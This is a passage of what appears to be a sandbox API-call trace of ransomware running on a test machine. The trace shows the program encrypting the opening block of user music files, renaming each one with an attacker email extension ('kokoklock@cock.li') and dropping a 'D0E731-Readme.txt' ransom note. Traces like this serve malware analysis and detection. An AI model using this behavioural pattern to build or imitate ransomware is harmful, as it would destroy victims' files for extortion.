Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x9c062c7 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x216569df [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0xd1f2b4cb [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x72b0b319 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x7813e323 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x9b830a27 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0xefeec506 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0xed32cd34 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x8dd0e689 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0xea43244a [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x4302973a [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x43d6e636 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x6b2bed90 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x49389e6b [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0xd118b541 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x5563908c [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0xb98e6e4d [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0xd280879d [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0xcb8d322a [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x66a3c5d1 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x2111a756 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0xb0d113a3 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0xebdb9589 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0xe98a7bba [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x48b782b4 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x37d5e36d [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x3644f8fb [0071.858] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x2b833213 [0071.858] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x55c21adf [0071.883] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.883] ReadFile (in: hFile=0x3ac, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x143bfe0c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x143bfe0c*=0x4096, lpOverlapped=0x0) returned 1 [0071.883] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0071.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0071.883] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0071.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.884] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e780 [0071.884] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0071.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0071.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0071.884] WriteFile (in: hFile=0x3ac, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x143bfe0c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x143bfe0c*=0x4096, lpOverlapped=0x0) returned 1 [0071.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.884] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xce1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.884] WriteFile (in: hFile=0x3ac, lpBuffer=0x341e780*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x143bfe44, lpOverlapped=0x0 | out: lpBuffer=0x341e780*, lpNumberOfBytesWritten=0x143bfe44*=0x20, lpOverlapped=0x0) returned 1 [0071.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e780) returned 1 [0071.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.884] WriteFile (in: hFile=0x3ac, lpBuffer=0x341e898*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x143bfe58, lpOverlapped=0x0 | out: lpBuffer=0x341e898*, lpNumberOfBytesWritten=0x143bfe58*=0x8, lpOverlapped=0x0) returned 1 [0071.884] WriteFile (in: hFile=0x3ac, lpBuffer=0x143bfe70*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x143bfe58, lpOverlapped=0x0 | out: lpBuffer=0x143bfe70*, lpNumberOfBytesWritten=0x143bfe58*=0x4, lpOverlapped=0x0) returned 1 [0071.884] WriteFile (in: hFile=0x3ac, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x143bfe58, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x143bfe58*=0x4, lpOverlapped=0x0) returned 1 [0071.885] WriteFile (in: hFile=0x3ac, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x143bfe58, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x143bfe58*=0x6c, lpOverlapped=0x0) returned 1 [0071.885] WriteFile (in: hFile=0x3ac, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x143bfe58, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0x143bfe58*=0x20, lpOverlapped=0x0) returned 1 [0071.885] WriteFile (in: hFile=0x3ac, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x143bfe58, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x143bfe58*=0x4, lpOverlapped=0x0) returned 1 [0071.885] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.885] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e848) returned 1 [0071.885] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e898) returned 1 [0071.885] CloseHandle (hObject=0x3ac) returned 1 [0071.885] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33c8f68 [0071.885] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3" [0071.885] wcscat (in: _Dest=0x33c8f68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731" [0071.885] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\pmq_l.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\pmq_l.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.886] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.886] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0071.886] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3", dwFileAttributes=0x20) returned 0 [0071.886] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd770 [0071.886] wcscpy (in: _Dest=0x33cd770, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" [0071.886] wcscat (in: _Dest=0x33cd770, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt" [0071.886] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\d0e731-readme.txt")) returned 0x20 [0071.886] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd770) returned 1 [0071.886] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0071.886] RtlExitUserThread (Status=0x1) Thread: id = 493 os_tid = 0x1378 [0071.888] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x3480e48 [0071.888] wcscpy (in: _Dest=0x3480e48, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" [0071.888] wcscat (in: _Dest=0x3480e48, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" [0071.888] wcscat (in: _Dest=0x3480e48, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\*") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\*" [0071.888] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d3f8 [0071.888] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\*", lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d87e7c0, ftCreationTime.dwHighDateTime=0x1d4d2d6, ftLastAccessTime.dwLowDateTime=0xf7106a70, ftLastAccessTime.dwHighDateTime=0x1d4d07b, ftLastWriteTime.dwLowDateTime=0xf7106a70, ftLastWriteTime.dwHighDateTime=0x1d4d07b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ca8 [0071.888] wcscmp (_String1=".", _String2=".") returned 0 [0071.888] FindNextFileW (in: hFindFile=0x3433ca8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d87e7c0, ftCreationTime.dwHighDateTime=0x1d4d2d6, ftLastAccessTime.dwLowDateTime=0xf7106a70, ftLastAccessTime.dwHighDateTime=0x1d4d07b, ftLastWriteTime.dwLowDateTime=0xf7106a70, ftLastWriteTime.dwHighDateTime=0x1d4d07b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.888] wcscmp (_String1="..", _String2=".") returned 1 [0071.888] wcscmp (_String1="..", _String2="..") returned 0 [0071.888] FindNextFileW (in: hFindFile=0x3433ca8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf21b540, ftCreationTime.dwHighDateTime=0x1d4d3ac, ftLastAccessTime.dwLowDateTime=0x87584890, ftLastAccessTime.dwHighDateTime=0x1d4c97a, ftLastWriteTime.dwLowDateTime=0x87584890, ftLastWriteTime.dwHighDateTime=0x1d4c97a, nFileSizeHigh=0x0, nFileSizeLow=0x17d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="4k gbY5P 5sNa3yv1nuo.mp3", cAlternateFileName="4KGBY5~1.MP3")) returned 1 [0071.888] wcscmp (_String1="4k gbY5P 5sNa3yv1nuo.mp3", _String2=".") returned 1 [0071.888] wcscmp (_String1="4k gbY5P 5sNa3yv1nuo.mp3", _String2="..") returned 1 [0071.888] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd3f0 [0071.888] wcscpy (in: _Dest=0x33cd3f0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" [0071.888] wcscat (in: _Dest=0x33cd3f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" [0071.888] wcscat (in: _Dest=0x33cd3f0, _Source="4k gbY5P 5sNa3yv1nuo.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3" [0072.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0072.845] FindNextFileW (in: hFindFile=0x3433ca8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22af7300, ftCreationTime.dwHighDateTime=0x1d4d2ee, ftLastAccessTime.dwLowDateTime=0x756a3e40, ftLastAccessTime.dwHighDateTime=0x1d4c821, ftLastWriteTime.dwLowDateTime=0x756a3e40, ftLastWriteTime.dwHighDateTime=0x1d4c821, nFileSizeHigh=0x0, nFileSizeLow=0xf820, dwReserved0=0x0, dwReserved1=0x0, cFileName="tZ6TMAZkgSUCMzANoZIU.m4a", cAlternateFileName="TZ6TMA~1.M4A")) returned 1 [0072.845] wcscmp (_String1="tZ6TMAZkgSUCMzANoZIU.m4a", _String2=".") returned 1 [0072.845] wcscmp (_String1="tZ6TMAZkgSUCMzANoZIU.m4a", _String2="..") returned 1 [0072.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd670 [0072.846] wcscpy (in: _Dest=0x33cd670, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" [0072.846] wcscat (in: _Dest=0x33cd670, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" [0072.846] wcscat (in: _Dest=0x33cd670, _Source="tZ6TMAZkgSUCMzANoZIU.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a" [0072.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0072.846] FindNextFileW (in: hFindFile=0x3433ca8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bcfd50, ftCreationTime.dwHighDateTime=0x1d4d2cc, ftLastAccessTime.dwLowDateTime=0xaf3d3000, ftLastAccessTime.dwHighDateTime=0x1d4d497, ftLastWriteTime.dwLowDateTime=0xaf3d3000, ftLastWriteTime.dwHighDateTime=0x1d4d497, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPxmbDeEDjvwEjtEpgZ", cAlternateFileName="VPXMBD~1")) returned 1 [0072.846] wcscmp (_String1="VPxmbDeEDjvwEjtEpgZ", _String2=".") returned 1 [0072.846] wcscmp (_String1="VPxmbDeEDjvwEjtEpgZ", _String2="..") returned 1 [0072.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dcb0 [0072.846] wcscpy (in: _Dest=0x347dcb0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" [0072.846] wcscat (in: _Dest=0x347dcb0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" [0072.847] wcscat (in: _Dest=0x347dcb0, _Source="VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0072.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347dcb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0072.847] FindNextFileW (in: hFindFile=0x3433ca8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bcfd50, ftCreationTime.dwHighDateTime=0x1d4d2cc, ftLastAccessTime.dwLowDateTime=0xaf3d3000, ftLastAccessTime.dwHighDateTime=0x1d4d497, ftLastWriteTime.dwLowDateTime=0xaf3d3000, ftLastWriteTime.dwHighDateTime=0x1d4d497, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPxmbDeEDjvwEjtEpgZ", cAlternateFileName="VPXMBD~1")) returned 0 [0072.847] FindClose (in: hFindFile=0x3433ca8 | out: hFindFile=0x3433ca8) returned 1 [0072.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d3f8) returned 1 [0072.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480e48) returned 1 [0072.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcf20) returned 1 [0072.847] RtlExitUserThread (Status=0x0) Thread: id = 494 os_tid = 0x137c [0071.889] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\ciohveub6iq2hna-h.mp3")) returned 0x20 [0071.889] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3", dwFileAttributes=0x20) returned 1 [0071.889] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\ciohveub6iq2hna-h.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0071.889] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x144bf9ec | out: lpFileSize=0x144bf9ec*=91125) returned 1 [0071.889] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x163f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.889] ReadFile (in: hFile=0x7bc, lpBuffer=0x144bf9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x144bf9bc, lpOverlapped=0x0 | out: lpBuffer=0x144bf9c0*, lpNumberOfBytesRead=0x144bf9bc*=0x4, lpOverlapped=0x0) returned 1 [0071.890] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e898 [0071.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0071.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e938 [0071.890] NtQuerySystemTime (in: CurrentTime=0x144bf998 | out: CurrentTime=0x144bf998*=132121176297754054) returned 0x0 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xe9d8a201 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xe51183a2 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x2bef4f37 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x51ba18b6 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x4bfe0c5e [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x82575033 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x69d1da23 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xb63d5c90 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x3932fdb5 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xa4cf7ef0 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x8d49200a [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xdc9b471e [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xb3320cb6 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xb15784ec [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xa1352437 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xb12bde59 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xfd7a314c [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x849e2e48 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xb9b860d5 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xeb1ee8b7 [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xea8a714f [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xaf57700c [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x2b93d5c [0071.890] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x83f39921 [0071.891] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x4f20f88 [0071.891] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xafc26598 [0071.891] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x7782c653 [0071.891] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x3153dbe6 [0071.891] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xc099a1f8 [0071.891] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x658f1888 [0071.891] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0x91f74983 [0071.891] RtlRandom (in: Seed=0x144bf9a4 | out: Seed=0x144bf9a4) returned 0xd6a61e58 [0071.901] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.901] ReadFile (in: hFile=0x7bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x144bf970, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x144bf970*=0x4096, lpOverlapped=0x0) returned 1 [0071.902] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce90 [0071.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0071.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0071.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0071.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0071.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0071.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0071.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0071.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0071.902] WriteFile (in: hFile=0x7bc, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x144bf970, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x144bf970*=0x4096, lpOverlapped=0x0) returned 1 [0071.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.903] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x163f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.903] WriteFile (in: hFile=0x7bc, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x144bf9a8, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x144bf9a8*=0x20, lpOverlapped=0x0) returned 1 [0071.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0071.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.903] WriteFile (in: hFile=0x7bc, lpBuffer=0x341e848*, 